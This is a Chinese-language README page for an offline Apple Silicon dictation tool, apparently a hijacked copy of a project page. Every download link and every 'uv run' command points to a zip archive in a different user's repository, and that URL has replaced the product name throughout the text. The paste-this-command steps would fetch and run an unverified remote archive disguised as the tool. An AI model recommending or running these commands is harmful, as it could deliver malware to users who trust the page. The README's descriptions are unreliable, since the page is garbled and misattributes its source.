MERUS-J/dictate.sh
GitHub: MERUS-J/dictate.sh
这是一个基于 Apple Silicon 的离线语音转录工具,解决了在无网络环境下快速将语音转换为文本的需求。
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# 🎤 https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip - 快速、本地语音转录,轻松实现
[](https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip)
## 📋 概述
`https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip` 为您提供了一种简单的方式,可在 Apple Silicon 设备上将语音转换为文本。使用此工具,您可以快速高效地口述笔记和想法,无需互联网连接。它采用先进技术,确保直接从终端即可流畅运行。
## 🚀 入门指南
要开始使用 `https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip`,请遵循以下简单步骤:
1. **确保您的环境准备就绪**
- 您需要一台配备 Apple Silicon 的 Mac。
- 确保已安装 Python 3.10 或更高版本。
- 安装 `uv`,一个帮助轻松运行 Python 脚本的工具。
2. **授予权限**
- 为您的终端应用程序允许麦克风访问权限。这对于语音转录功能的运行至关重要。
## 💻 下载与安装
访问此页面进行下载:[下载发布版本](https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip)。
下载后,请找到文件并确保将其保存在便于访问的位置。
## 📥 如何运行应用程序
完成设置后,您可以通过终端运行该应用程序。以下是所需命令:
### 基本命令
要开始口述,只需运行:
```
uv run https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip
```
### 带意图分析的命令
如果您希望包含意图分析,请使用以下命令:
```
uv run https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip --analyze
```
### 选择 ASR 模型
您可以通过运行以下命令来选择不同的自动语音识别 (ASR) 模型:
```
uv run https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip --model mlx-community/Qwen3-ASR-1.7B-8bit
```
### 列出音频输入设备
要查看哪些音频设备可用,请运行:
```
uv run https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip --list-devices
```
### 使用特定输入设备
如果您想指定输入设备,请使用此命令:
```
uv run https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip --device 3
```
## 💡 功能特性
- **低延迟语音识别**:能快速将您口述的词语转录为文本。
- **语音活动检测 (VAD)**:应用程序会识别您何时正在说话以提高准确性。
- **可选意图分析**:通过本地意图分析理解您语音背后的目的。
- **实时终端界面**:在转录过程中获得实时反馈,包括状态和统计数据。
- **离线功能**:下载必要的模型后,您可以在没有互联网连接的情况下工作。
## 🛠 系统要求
要运行 `https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip`,请确保您的系统满足以下要求:
- 操作系统:基于 Apple Silicon (MLX) 的 macOS
- Python:3.10 或更高版本
- 工具:已安装 `uv`
- 权限:已授予终端麦克风访问权限
## 🤔 故障排除
如果您在运行 `https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip` 时遇到问题,请考虑以下提示:
- **麦克风未检测到**:检查终端的麦克风权限。
- **脚本未运行**:确保 `uv` 已安装并正确设置。
- **响应缓慢**:关闭其他正在使用麦克风的应用程序。
## 🔗 其他资源
有关使用和功能的更详细文档,请查看以下资源:
- **GitHub 代码仓库**:[https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip GitHub](https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip)
- **社区支持**:加入我们的讨论论坛,向其他用户提问和分享经验。
## 📜 许可证
此软件基于 MIT 许可证发布。只要您遵循许可指南,您可以自由地将其用于个人或商业项目。
[](https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip)
请随意探索 `https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip` 的所有功能,享受无缝的语音转录体验。
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